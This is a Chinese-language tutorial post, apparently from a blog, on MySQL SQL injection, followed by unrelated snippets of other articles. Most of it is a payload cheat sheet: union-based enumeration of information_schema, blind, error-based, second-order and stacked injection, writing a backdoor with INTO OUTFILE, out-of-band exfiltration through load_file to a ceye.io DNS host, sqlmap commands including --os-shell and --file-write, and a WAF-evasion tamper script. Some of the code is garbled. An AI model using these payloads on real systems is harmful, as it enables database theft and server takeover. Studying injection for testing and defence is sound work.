当前位置: 首页 > news >正文

SQL注入原理及思路(mysql)

数据库知识

mysql数据库
show database; #列出所有数据库
show tables; #列出所有表名
show columns from 表名; #列出表的列
select * from 表名 #查询数据库中某表的信息
select * from 表名 where 列=xx #查询某表中符合列=xx的信息
select * from 表名 order by 数字 #用于将结果集按照某列进行排序(asc 升序desc 降序),在sql注入中通常用来判断前面查询结果集的列数,用于联合union查询
select * from 表名1 union select * from 表名2 #union操作符用于合并两个或多个select语句的结果。但是必须保证前后的select语句必须保证拥有相同数量的列,
insert into 表名(`1`,`2`,`3`) values ('值1','值2','值3');#给表中添加数据
delete from 表名 where 列=xx;#删除表中数据
update 表名 set 列=xx where 条件;#修改数据
对于mysql5.0以上版本,有数据库information_schema存放数据库所有信息
schemata表(存放所有的数据库):schema_name列(所有的数据库名)
tables表(存放所有的表信息):table_schema列(数据库名) table_name列(表名)
columns表(存放所有的列信息):table_schema列(数据库名) table_name列(表名)column_name列(列名)
select * from 表名 limit 3/limit 0,1; #只有一个参数值时将表中前三条数据列出来;两个参数是从0行开始取1条数据

SQL注入原理

SQL注入有两个前提条件:源码中有执行的sql语句、参数可控且未对参数进行过滤;满足以上两个条件我们就可以任意构造sql语句且执行,从而获取我们想要的信息。

SQL注入思路

无任何过滤机制

无符号干扰
针对url中?id=1的思路
源码:$id=$_GET['id'] ?? '1';$sql="select * from news where id=$id";//最原始、没有任何过滤的情况
?id=1 order by 数字 //数字从1开始试探,直到页面和之前不一样;用于判断select查询结果的列数
?id=1 union select 1,2,3 //此处的数字写到上面猜解出的列数;此时查看页面是否返回数字(不返回的话换出id=-1让其报错)
当页面报出对应数字之后,我们将其数字改成想要查询内容的函数;数据库版本version()-判断是否符合information_schema查询(mysql5.0以上版本有)、当前用户user()-是否符合root型攻击、当前操作系统@@version_compile_os()-看是否支持大小写或文件路径选择、查询当前数据库database()-便于后面猜解该数据库下的表
?id=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名' //查询该数据库下的所有表名
?id=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="数据库名" and table_name="表名" //查询数据库名下表名中的所有列名
?id=1 union select 1,2,"列名" from "表名" limit 0,1 //查询想要的信息如果是root用户具有管理员权限,即可进行跨库查询?id=1 union select 1,2 group_concat(schema_name) from information_schema.schemata //查询所有数据库名
知道数据库名之后继续按照上面思路一一猜解信息如果是root用户且secure-file-priv未设置,可进行文件读写?id=1 union select 1,load_file('d:\\1.txt') //读取D盘下文件1.txt内容
?i=1 union select 1,'后门代码' into outfile 'd:\\2.txt' //如果我们可以把后门代码写入网站目录下则可以直接连接,前提是获取到网络目录(报错显示获取路径、phpinfo页面泄露、利用中间件默认配置文件获取)如果是对引号有过滤的话,我们可以对引号的内容进行十六进制编码绕过。

有符号干扰 

上面这种在源码中的id=$id是不带引号的,如果带引号的话我们在每一步之前都要先闭合引号再构造sql语句。

针对url中?id='1'的思路
源码:$id=$_GET['id'] ?? '1';$sql="select * from news where id='$id'";//思路同上,就是在id的值后面加一个引号进行闭合,在最后面加一个注释符# --+
$id=$_GET['id'] ?? '1';$sql="select * from news where id='%$id%'";//在id的值后面加上%'闭合,最后加上注释符
$id=$_GET['id'] ?? '1';$sql="select * from news where id=('$id')";//在id的值后面加')闭合,最后加注释符
$id=$_GET['id'] ?? '1';$sql="select * from news where (id='$id')";//在id的值后面加')闭合,最后加注释符总结:
SQL语句由于在黑盒中是无法预知写法的,SQL注入能发成功是需要拼接原SQL语句,大部分黑盒能做的就是分析后各种尝试去判断,所以有可能有注入但可能出现无法注入成功的情况。究其原因大部分都是原SQL语句的未知性导致的拼接失败!
其它注入点(post、数据包头部信息)
上面的都是以get提交的注入点,通常只要在源码中存在与数据库交互的地方都有可能存在注入点(post提交的数据、http头等)
post表单提交数据:可以使用火狐post提交数据测试,测试思路同get方式,只是这个需要以post提交数据
数据包头部
user-agent:使得服务器能够识别客户使用的操作系统,浏览器版本等等
X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP]);有些网站如果使用的是xff获取我们ip,我们可以通过修改数据包中的xff字段进行绕过ip检测
在http头中注入通常都是抓包,然后在数据包中修改头部信息进行尝试注入

SQL盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面。我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

基于布尔的盲注

条件:该盲注必须有回显,用于判断构造的sql语句是否正确。(通常情况下只有select查询才会有回显,其余的增删改并没有回显)

在注入点构造sql语句:
and length(database())=7 #用于判断数据库名称位数,如果猜对页面正常显示,否则页面错误
and left(database(),1)='d'; #用于判断数据库名第一位是否为d
and left(database(),2)='de'; #用于判断数据库名前两位是否为de

基于时间的盲注-延时判断

不需要任何条件

 构造sql语句
and if(length(database())=7,sleep(10),sleep(0)) #根据是否执行sleep函数判断数据库名字的长度
and if(left(database(),1)='d',sleep(10),sleep(0)#根据sleep函数判断数据库名第一个字符是否为d
or if(ord(left(database(),1))=107,sleep(2),0) #107是字母k对应的ASCII码,当存在过滤引号时候可以使用ASCII替换
这个时间我们可以通过使用工具bp来判断,在bp的repeater中右下角会显示返回数据包所用时间。

基于报错的盲注

条件:有数据库报错处理判断标准

源码:mysqli_query($con,$sqlor die(mysqli_error($con));//关键就是在源码中有输出错误信息

在注入点构造sql语句
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) //会在页面的报错信息中显示版本
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 

mysql二次注入

原理:

  1. 插入恶意数据,第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义(addslashes转义函数,转义是关键否则不能造成二次注入),在写入数据库的时候还保留了原来的数据,但是数据本身包含恶意内容
  2. 引用恶意数据,在将数据存入到数据库中之后,开发者就认为数据是可信的。在下一次要进行查询的时候,直接从数据库中取出了恶意数据,没有进一步的处理和检验,这样就造成了二次注入。
场景:
在我们注册且登陆之后,有修改密码功能,该功能只需要我们输入旧密码和新密码即可;在注册时候可以插入恶意数据,下面语句正常插入的前提是有转义
用户名:admin ' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#
在修改密码的时候就会执行:
select * from users where username='$username' and password='$password //此时就会上面用户名待人sql语句执行

堆叠注入

原理:堆叠注入触发的条件很苛刻,就是在存在注入点的地方通过分号结束符同时执行多条sql语句,例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行

条件:目标存在sql注入点、目标未对分号进行过滤、目标数据库支持查询信息时执行多条sql语句。(eg:mysql、mssql、postgresql等等)

2019强网杯
堆叠注入但是对select过滤,无法直接执行select语句
SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql; //先对要执行的sql查询语句进行十六进制编码,然后赋值给@a

带外查询

条件:root高权限且支持load_file();主要解决的是没有回显问题

平台:http://ceye.io

http://www.dnslog.cn

//查询security数据库emails表下第一个列名
id=1 and load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))//查询字段值  数据库名为security 表名emails 列名id
id=1 and load_file(concat("\\\\",(select id from security.emails limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))其中xxx.txt是随意写的,而.dbuh8a.ceye.io是带外平台中的dns

自动化sql注入工具——sqlmap(基于数据库mysql)

sqlmap -"http://xxxx?artist=1"  //判断是否有注入点
sqlmap -"http://xxxx?artist=1" --current-db //查看当前数据库 结果acuart
sqlmap -"http://xxxx?artist=1" --current-user //查看当前用户
sqlmap -"http://xxxx?artist=1" --tables -D acuart //查看当前数据库下所有表
sqlmap -"http://xxxx?artist=1" --columns -T users -D acuart //查看users表下所有列
sqlmap -"http://xxxx?artist=1" --dump -C "name,pass" -T users -D acuart//查询列name pass中的数据
sqlmap -"http://xxxx?artist=1" --dump-all -C "name,pass" -T users -D acuart//查询所有数据
sqlmap -"http://xxxx?artist=1" --is-dba//判断是否为高权限用户 current user is DBA: False这种情况就是低权限
sqlmap -r xx.txt(文件为请求数据包和post提交数据,在注入点后面加*)//非get方式注入点的方法-tamper=xxx.py //对于有waf或者编码等问题我们可以使用tamper脚本。-v 数字0:只显示Python的回溯,错误和关键消息。 1:显示信息和警告消息。 2:显示调试消息。 3:有效载荷注入。 4:显示HTTP请求。 5:显示HTTP响应头。 6:显示HTTP响应页面的内容 --user-agent ""  #自定义user-agent 默认是sqlmap
--random-agent   #随机user-agent
--time-sec=(2-5) #延迟响应,默认为5
--level=(1-5) #要执行的测试水平等级,默认为1 
--risk=(0-3)  #测试执行的风险等级,默认为1 
--proxy "http:/127.0.0.1:8888" #代理注入,便于抓包查看注入过程的数据包,sqlmap和bp联动如果当前是高权限用户,可以使用以下命令:
sqlmap -"http://xxxx?artist=1" --sql-shell //可以执行sql命令
--file-read "d:\\xx.txt" //读取文件xx.txt
--file-write "d:\\xx.txt" --file-dest "/root/xx" //将本地d盘下xxx文件写入服务器root目录下xx文件
--os-cmd=calc //执行cmd命令 弹出计算器
--os-shell //执行shell命令
--dbs //查看所有数据库

"""
tamper脚本书写模板
"""
from lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef dependencies():passdef tamper(payload, **kwargs):if payload:      
        payload = payload.replace('SELECT','sElEct')
        payload = payload.replace('OR','Or')
        payload = payload.replace('AND','And')
        payload = payload.replace('SLEEP','SleeP')
        payload = payload.replace('ELT','Elt')return payload

相关文章:

SQL注入原理及思路(mysql)

数据库知识 mysql数据库 show database; #列出所有数据库 show tables; #列出所有表名 show columns from 表名; #列出表的列 select * from 表名 #查询数据库中某表的信息 select * from 表名 where 列xx #查询某表中符合列xx的信息 select * from 表名 order by 数字 #用于将…...

vue核心面试题汇总【查缺补漏】

给大家推荐一个实用面试题库 1、前端面试题库 (面试必备) 推荐:★★★★★ 地址:web前端面试题库 很喜欢‘万变不离其宗’这句话,希望在不断的思考和总结中找到Vue中的宗,来解答面试官抛出的…...

使用WebStorm创建和配置TypeScript项目

创建 这里我用的是WebStorm 2019.2.2版本 首先,创建一个空项目 File -> New -> Project->Empty Project生成配置文件 自动配置: 打开终端输入tsc --init,即可自动生成tsconfig.json文件 手动配置: 在项目根目录下新建一…...

vue源码分析(四)——vue 挂载($mount)的详细过程

文章目录 前言一、使用RuntimeCompiler解析$mount的原因二、$mount 解析的详细过程1.解析挂载的#app执行了vm.$mount2. 通过$mount方法执行以下文件的mount方法3. 执行util工具文件夹中的query方法4. 执行query方法后返回$mount方法判断el是否是body5. 判断!options.render&…...

真机环境配置教程

1.下载安装包 https://developers.google.com/android/images 2.刷机教程 Xposed精品连载 | 一篇文章彻底搞定安卓刷机与Root 3.配置root...

新电脑第一次重启后蓝屏

新电脑第一次重启后蓝屏 悲惨事故,远程参加插电第一次开机,按“FNShiftF10”启动cmd窗口输入oobe\bypassnro 回车重启跳过网络连接,设置一个用户名密码设置为空,不设密码确定,进入系统软件操作磁盘操作(磁盘…...

k8s statefulSet 学习笔记

文章目录 缩写: stsweb-sts.yaml创建sts扩缩容金丝雀发布OnDelete 删除时更新 缩写: sts 通过 kubectl api-resources 可以查到: NAMESHORTNAMESAPIVERSIONNAMESPACEDKINDstatefulsetsstsapps/v1trueStatefulSet web-sts.yaml apiVersion: v1 kind: Service met…...

gitlab 通过变量连接自建K8S

services:- docker:19.03.7-dind- golang:1.17.8-alpine3.15- docker:stable stages:- package- build and push docker image- deploy variables:KUBECONFIG: /etc/deploy/config build:tags:- k8simage: golang:1.17.8-alpine3.15stage: package# 只作用在main分支only:- mai…...

LuatOS-SOC接口文档(air780E)--mcu - 封装mcu一些特殊操作

常量 常量 类型 解释 mcu.UART number 外设类型-串口 mcu.I2C number 外设类型-I2C mcu.SPI number 外设类型-SPI mcu.PWM number 外设类型-PWM mcu.GPIO number 外设类型-GPIO mcu.I2S number 外设类型-I2S mcu.LCD number 外设类型-LCD mcu.CAM num…...

第14期 | GPTSecurity周报

GPTSecurity是一个涵盖了前沿学术研究和实践经验分享的社区,集成了生成预训练 Transformer(GPT)、人工智能生成内容(AIGC)以及大型语言模型(LLM)等安全领域应用的知识。在这里,您可以…...

【数据结构】优先级队列

⭐ 作者:小胡_不糊涂 🌱 作者主页:小胡_不糊涂的个人主页 📀 收录专栏:浅谈数据结构 💖 持续更文,关注博主少走弯路,谢谢大家支持 💖 PriorityQueue 1. 什么是优先级队列…...

c语言宏相关高级用法

outline all可变参数宏c语言内置函数1.__typeof__2.__builtin_choose_expr all 记录一些c语言宏相关的高级用法 可变参数宏 c语言内置函数 1.typeof 2.__builtin_choose_expr 语法格式 type __builtin_choose_expr (const_exp, exp1, exp2)解释 这个函数的第一个参数必须…...

新款模块上线实现SIP模块与扩拨电话之间打点与喊话功能 IP矿用电话模块SV-2800VP

新款模块上线实现SIP模块与扩拨电话之间打点与喊话功能 IP矿用电话模块SV-2800VP 一、简介 SV-2800VP系列模块是我司设计研发的一款用于井下的矿用IP音频传输模块,可用此模块打造一套低延迟、高效率、高灵活和多扩展的IP矿用广播对讲系统,亦可对传统煤…...

前端开发---在vue项目中使用openLayers

前端开发之在vue项目中使用openLayers 前言效果图在vue中渲染地图安装ol插件1、调用插件2、 初始话地图3、地图点击事件4、重置坐标5、通过坐标改变视图6、保存坐标点 vue中使用的源码 前言 本篇文章主要讲解openLayers的初步使用,包括渲染地图、获取点坐标、标记点…...

C语言之结构体和共用体详解

目录 结构体 结构体的定义和使用 结构体数组的使用 结构体指针的使用 结构体大小的计算 共用体 共用体的定义和使用 typedef用法详解 enum枚举类型 结构体 结构体的定义和使用 C语言的结构体(Struct)是一种自定义的数据类型,它允许…...

iOS插件

把平时看到或项目用到的一些插件进行整理,文章后面分享一些不错的实例,若你有其它的插件欢迎分享,不断的进行更新; 一:第三方插件 1:基于响应式编程思想的oc 地址:https://github.com/ReactiveCocoa/Rea…...

Maven第四章:配置文件详解

Maven第四章:配置文件详解 前言 本章重点知识:掌握setting.xml配置文件以及pom.xml配置文件 setting.xml配置文件 setting.xml文件用于配置Maven的运行环境,包括本地仓库的位置、镜像仓库的配置、认证信息等。以下是setting.xml文件的详细说明: 文件位置: 全局配置文件:…...

计算机网络基础一

任务背景 由于某些原因,某公司搬迁至新地方,现需要对公司网络环境重新调整规划,申请了一个 B 类 IP 地址 : 172.25.0.0 ,子 网掩码为 255.255.224.0 。需要根据公司部门和电脑数进行子网划分并分配 IP 。公司目前有 6 个部门&am…...

搜维尔科技:Touch触觉式力反馈设备与Touch X力反馈设备对比分析

此2款力反馈为最常用的力反馈设备...

SAP保持系统长时间在线

保持系统长时间在线 保持SAP系统长长时间在线不掉线,通过代码,保持一个页面一直在线,ABAP代码如下: *&---------------------------------------------------------------------* *& Report ZGUI *&----------------------------…...

[2025CVPR]DeepVideo-R1:基于难度感知回归GRPO的视频强化微调框架详解

突破视频大语言模型推理瓶颈,在多个视频基准上实现SOTA性能 一、核心问题与创新亮点 1.1 GRPO在视频任务中的两大挑战 ​安全措施依赖问题​ GRPO使用min和clip函数限制策略更新幅度,导致: 梯度抑制:当新旧策略差异过大时梯度消失收敛困难:策略无法充分优化# 传统GRPO的梯…...

从零实现富文本编辑器#5-编辑器选区模型的状态结构表达

先前我们总结了浏览器选区模型的交互策略,并且实现了基本的选区操作,还调研了自绘选区的实现。那么相对的,我们还需要设计编辑器的选区表达,也可以称为模型选区。编辑器中应用变更时的操作范围,就是以模型选区为基准来…...

微信小程序 - 手机震动

一、界面 <button type"primary" bindtap"shortVibrate">短震动</button> <button type"primary" bindtap"longVibrate">长震动</button> 二、js逻辑代码 注&#xff1a;文档 https://developers.weixin.qq…...

ElasticSearch搜索引擎之倒排索引及其底层算法

文章目录 一、搜索引擎1、什么是搜索引擎?2、搜索引擎的分类3、常用的搜索引擎4、搜索引擎的特点二、倒排索引1、简介2、为什么倒排索引不用B+树1.创建时间长,文件大。2.其次,树深,IO次数可怕。3.索引可能会失效。4.精准度差。三. 倒排索引四、算法1、Term Index的算法2、 …...

【C++从零实现Json-Rpc框架】第六弹 —— 服务端模块划分

一、项目背景回顾 前五弹完成了Json-Rpc协议解析、请求处理、客户端调用等基础模块搭建。 本弹重点聚焦于服务端的模块划分与架构设计&#xff0c;提升代码结构的可维护性与扩展性。 二、服务端模块设计目标 高内聚低耦合&#xff1a;各模块职责清晰&#xff0c;便于独立开发…...

学习STC51单片机32(芯片为STC89C52RCRC)OLED显示屏2

每日一言 今天的每一份坚持&#xff0c;都是在为未来积攒底气。 案例&#xff1a;OLED显示一个A 这边观察到一个点&#xff0c;怎么雪花了就是都是乱七八糟的占满了屏幕。。 解释 &#xff1a; 如果代码里信号切换太快&#xff08;比如 SDA 刚变&#xff0c;SCL 立刻变&#…...

2023赣州旅游投资集团

单选题 1.“不登高山&#xff0c;不知天之高也&#xff1b;不临深溪&#xff0c;不知地之厚也。”这句话说明_____。 A、人的意识具有创造性 B、人的认识是独立于实践之外的 C、实践在认识过程中具有决定作用 D、人的一切知识都是从直接经验中获得的 参考答案: C 本题解…...

高效线程安全的单例模式:Python 中的懒加载与自定义初始化参数

高效线程安全的单例模式:Python 中的懒加载与自定义初始化参数 在软件开发中,单例模式(Singleton Pattern)是一种常见的设计模式,确保一个类仅有一个实例,并提供一个全局访问点。在多线程环境下,实现单例模式时需要注意线程安全问题,以防止多个线程同时创建实例,导致…...

JS设计模式(4):观察者模式

JS设计模式(4):观察者模式 一、引入 在开发中&#xff0c;我们经常会遇到这样的场景&#xff1a;一个对象的状态变化需要自动通知其他对象&#xff0c;比如&#xff1a; 电商平台中&#xff0c;商品库存变化时需要通知所有订阅该商品的用户&#xff1b;新闻网站中&#xff0…...

C++:多态机制详解

目录 一. 多态的概念 1.静态多态&#xff08;编译时多态&#xff09; 二.动态多态的定义及实现 1.多态的构成条件 2.虚函数 3.虚函数的重写/覆盖 4.虚函数重写的一些其他问题 1&#xff09;.协变 2&#xff09;.析构函数的重写 5.override 和 final关键字 1&#…...